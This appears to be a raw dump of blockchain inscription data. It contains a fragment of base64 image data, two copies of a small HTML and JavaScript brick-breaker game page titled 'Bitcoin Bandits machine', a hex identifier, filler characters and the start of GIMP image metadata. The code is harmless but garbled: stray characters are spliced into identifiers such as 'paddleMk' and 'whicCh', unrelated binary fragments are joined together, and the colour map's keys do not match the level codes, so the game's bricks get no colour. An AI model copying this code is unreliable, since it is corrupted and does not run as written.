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
BRogKBEHC0s/V1pYxcGA6aABgtJBM/J+/o0XRvLa0I4OGiAoBRogKBEHI2VycjKllNLvPTbZl+v249rQLR00QFAKNEBQIg5GSv7cuHbOOeecYnzvvfcO5bowHzpogKAUaICgRByMpF27do3ktaEJHTRAUAo0QFAKNEBQCjRAUAo0QFAKNEBQCjRAUNZBM5LWrVs3kteGJnTQAEEp0ABBiTgYKYcOHRqp68J86KABglKgAYIScTBS9u3bN+wpzLBixYphT4EFTAcNEJQCDRCUiAMamp6erhxPTk4OYTYsZDpogKB00IykvHNdtWrVQN87fz8fEtJPOmiAoBRogKBEHIykQccaMAw6aICgFGiAoBRogKAUaICgFGiAoKzigIbc6s2g6KABglKgAYIScUBD9uLovSvf965i/Pjjj/f9/Xbt2pV9dVrf369bOmiAoBRogKBEHIyUUYkUzjnnnGFPgQVABw0QlA6agVmybKIYrz53fUoppampqWFNp6+2b99ejFs/67haM
/ZryQ7gLL7ywGOcfBm77x38e5JRSOvHkOb+df2g58LlldNAAQSnQAEGJOBiKVtwxDn/+59EOpfsf/e9hTyGllNLu7z8z7CnU0kEDBKVAAwQl4mCo/Pk/XgZxG3cvRJmnDhogKAUaICgFGiAoBRogKAUaICgFGiAoBRogKAUaICgFGiAoBRogKAUaICgFGiAoBRogKAUaICgFGiAoBRogKBv214iykXyUeQCDp4MGCEqBBghKgQYISoEGCMqHhEBfbd++vfL4hs1bBjyTuUWcpw4aICgFGiCoRRs2bzk67EkMw313f2XYU4A5RYsAulX3/1q0ny/iPHXQAEEp0ABBjW3EARCdDhogKAUaICgFGiAoBRogKAUaICgFGiAoBRogKAUaICgFGiAoBRogKAUaICgFGiAoBRogKAUaICgFGiAoBRogKAUaICgFGiAoBRogKAUaICgFGiAoBRogKAUaICgFGiAoBRogKAUaICgFGiAoBRogKAUaICgFGiCo/wfV2Q+Bwk0BM
VAAAAABJRU5ErkJggg==" class="background"><div class="game"><canvas width="400" height="500" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const level1=[[],[],[],[],[],[],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["G","G","G","G","G","GM
","G","G","G","G","G","G","G","G"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"]];const colorMap={l:"red",i:"orange",t:"green",o:"yellow"};const brickGap=2;const brickWidth=25;const brickHeight=12;const wallSize=12;const bricks=[];for(let a=0;a<level1.length;a++){for(let l=0;l<level1[a].length;l++){const colorCode=level1[a][l];bricks.push({x:wallSize+(brickWidth+brickGap)*l,y:wallSize+(briM
ckHeight+brickGap)*a,color:colorMap[colorCode],width:brickWidth,height:brickHeight})}}const paddle={x:canvas.width/2-brickWidth/2,y:440,width:brickWidth,height:brickHeight,dx:0};const ball={x:130,y:260,width:5,height:5,speed:2,dx:0,dy:0};function collides(l,a){return l.x<a.x+a.width&&l.x+l.width>a.x&&l.y<a.y+a.height&&l.y+l.height>a.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);paddle.x+=paddle.dx;if(paddle.x<wallSize){paddle.x=wallSize}else if(paddle.x+brickWidth>cM
anvas.width-wallSize){paddle.x=canvas.width-wallSize-brickWidth}ball.x+=ball.dx;ball.y+=ball.dy;if(ball.x<wallSize){ball.x=wallSize;ball.dx*=-1}else if(ball.x+ball.width>canvas.width-wallSize){ball.x=canvas.width-wallSize-ball.width;ball.dx*=-1}if(ball.y<wallSize){ball.y=wallSize;ball.dy*=-1}if(ball.y>canvas.height){ball.x=130;ball.y=260;ball.dx=0;ball.dy=0}if(collides(ball,paddle)){ball.dy*=-1;ball.y=paddle.y-ball.height}for(let l=0;l<bricks.length;l++){const a=bricks[l];if(collides(ball,a)){bricks.splice(l,1);if(M
ball.y+ball.height-ball.speed<=a.y||ball.y>=a.y+a.height-ball.speed){ball.dy*=-1}else{ball.dx*=-1}break}}context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,wallSize);context.fillRect(0,0,wallSize,canvas.height);context.fillRect(canvas.width-wallSize,0,wallSize,canvas.height);if(ball.dx||ball.dy){context.fillRect(ball.x,ball.y,ball.width,ball.height)}bricks.forEach(function(l){context.fillStyle=l.color;context.fillRect(l.x,l.y,l.width,l.height)});context.fillStyle="cyan";context.fillRect(paddle.x,paddleMk
.y,paddle.width,paddle.height)}document.addEventListener("keydown",function(l){if(l.which===37){paddle.dx=-3}else if(l.which===39){paddle.dx=3}if(ball.dx===0&&ball.dy===0&&l.which===32){ball.dx=ball.speed;ball.dy=ball.speed}});document.addEventListener("keyup",function(l){if(l.which===37||l.which===39){paddle.dx=0}});requestAnimationFrame(loop);</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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" class="background"><div class="game"><canvas width="400" height="500" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const level1=[[],[],[],[],[],[],["R","R","R","R","R","R","R","RM
","R","R","R","R","R","R"],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"]];const colorMap={l:"red",i:"orange",t:"green",o:"yellow"};const brickGap=2;const brickWM
idth=25;const brickHeight=12;const wallSize=12;const bricks=[];for(let a=0;a<level1.length;a++){for(let l=0;l<level1[a].length;l++){const colorCode=level1[a][l];bricks.push({x:wallSize+(brickWidth+brickGap)*l,y:wallSize+(brickHeight+brickGap)*a,color:colorMap[colorCode],width:brickWidth,height:brickHeight})}}const paddle={x:canvas.width/2-brickWidth/2,y:440,width:brickWidth,height:brickHeight,dx:0};const ball={x:130,y:260,width:5,height:5,speed:2,dx:0,dy:0};function collides(l,a){return l.x<a.x+a.width&&l.x+l.widthM
>a.x&&l.y<a.y+a.height&&l.y+l.height>a.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);paddle.x+=paddle.dx;if(paddle.x<wallSize){paddle.x=wallSize}else if(paddle.x+brickWidth>canvas.width-wallSize){paddle.x=canvas.width-wallSize-brickWidth}ball.x+=ball.dx;ball.y+=ball.dy;if(ball.x<wallSize){ball.x=wallSize;ball.dx*=-1}else if(ball.x+ball.width>canvas.width-wallSize){ball.x=canvas.width-wallSize-ball.width;ball.dx*=-1}if(ball.y<wallSize){ball.y=wallSize;ball.dy*=-1}if(M
ball.y>canvas.height){ball.x=130;ball.y=260;ball.dx=0;ball.dy=0}if(collides(ball,paddle)){ball.dy*=-1;ball.y=paddle.y-ball.height}for(let l=0;l<bricks.length;l++){const a=bricks[l];if(collides(ball,a)){bricks.splice(l,1);if(ball.y+ball.height-ball.speed<=a.y||ball.y>=a.y+a.height-ball.speed){ball.dy*=-1}else{ball.dx*=-1}break}}context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,wallSize);context.fillRect(0,0,wallSize,canvas.height);context.fillRect(canvas.width-wallSize,0,wallSize,canvas.height);if(ballM
.dx||ball.dy){context.fillRect(ball.x,ball.y,ball.width,ball.height)}bricks.forEach(function(l){context.fillStyle=l.color;context.fillRect(l.x,l.y,l.width,l.height)});context.fillStyle="cyan";context.fillRect(paddle.x,paddle.y,paddle.width,paddle.height)}document.addEventListener("keydown",function(l){if(l.which===37){paddle.dx=-3}else if(l.which===39){paddle.dx=3}if(ball.dx===0&&ball.dy===0&&l.which===32){ball.dx=ball.speed;ball.dy=ball.speed}});document.addEventListener("keyup",function(l){if(l.which===37||l.whicCh===39){paddle.dx=0}});requestAnimationFrame(loop);</script></html>h!
FjDOUT:67E4824C2B6D89633F8141BA2FCAA36D54C0524EF185A36912E8ED291E76A200
((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0M
/" xmpMM:DocumentID="gimp:docid:gimp:eacd527e-9f3e-465d-8a2c-629ed24b7319" xmpMM:InstanceID="xmp.iid:65857244-6985-4bd1-8155-dd8efc438435" xmpMM:OriginalDocumentID="xmp.did:4cf82533-2172-4de2-bafa-fbb14ebf8579" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676412897243848" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T09:14:55+11:00" xmp:ModifyDate="2023:02:15T09:14:55+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saveM
